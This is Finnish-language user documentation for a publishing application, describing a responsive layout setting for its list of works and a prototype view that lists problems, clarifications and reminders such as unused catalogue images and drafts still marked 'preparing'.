Julkaisusovelluksen instanssin laajuisesti on valittavissa, että julkisessa teosten/tuotosten listauksessa ne pienentyvät vähäisemmillä selainikkunan leveyksillä siten, että niitä mahtuu enemmän kerralla näkyviin tai että ne asettuvat allekkain, eikä kuvaustekstejä piiloteta.
Tämä käyttäjäkohtainen näkymä on nimeämistään myöten erittäin prototyyppinen, mutta sinänsä toimiva. Se on tarkoitettu
a) Mahdollisten ongelmien huomioimiseen (Problems), joita voi päästä tapahtumaan esim. siirrellessä aineistoja hiukan vajavaisesti eli esim. projektista projektiin, jolloin jotain unohtuukin siirtää. Mahdollisuuksien mukaan tarjolla on "yhden klikkauksen"-korjaustoimintoja.
b) Jonkun hieman lisäselvyyttä tarvitsevan asian varmistamiseen (Clarifications), joita ovat esim. teoskohtaisten välimuistien ajalliset pituudet ja kuvat, jotka ovat joissain kuvakatalogeissa, mutta eivät ole käytössä missään. Myös "kuvakatalogien selailu"-näkymässä on hiukan samantapainen toiminto, jolla saa listailtua vain ne kuvat, jotka eivät vielä ole missään käytössä. Kun kuvia on paljon, tällaiset asiat voivat unohtua.
c) Kenties ajoittain suht säännöllisesti vilkaistavien muistuttimien (Reminders) manuaaliseen käyttämiseen, joita olisivat esim. sellaisten kirjoituksien listaaminen, jotka on merkitty olevan tilassa "preparing". On mahdollista, että tämä toiminnallisuus päätyy jonnekin toisaalle eri tavoin toteutettuna.
Tästä näkymästä on pyritty tekemään sellainen, että siinä olisi mahdollisimman vähän klikkailtavaa ja kaikki oleellinen tieto latautuisi kerralla näkyviin. Tämä tarkoittanee myös sitä, että jotain otetaan käyttöön toisaalla. Esim. kirjoitusten listaaminen, joiden readyness-status on "preparing", on ollut kätevää tehdä optionaalisesti projektien listaus -näkymässä.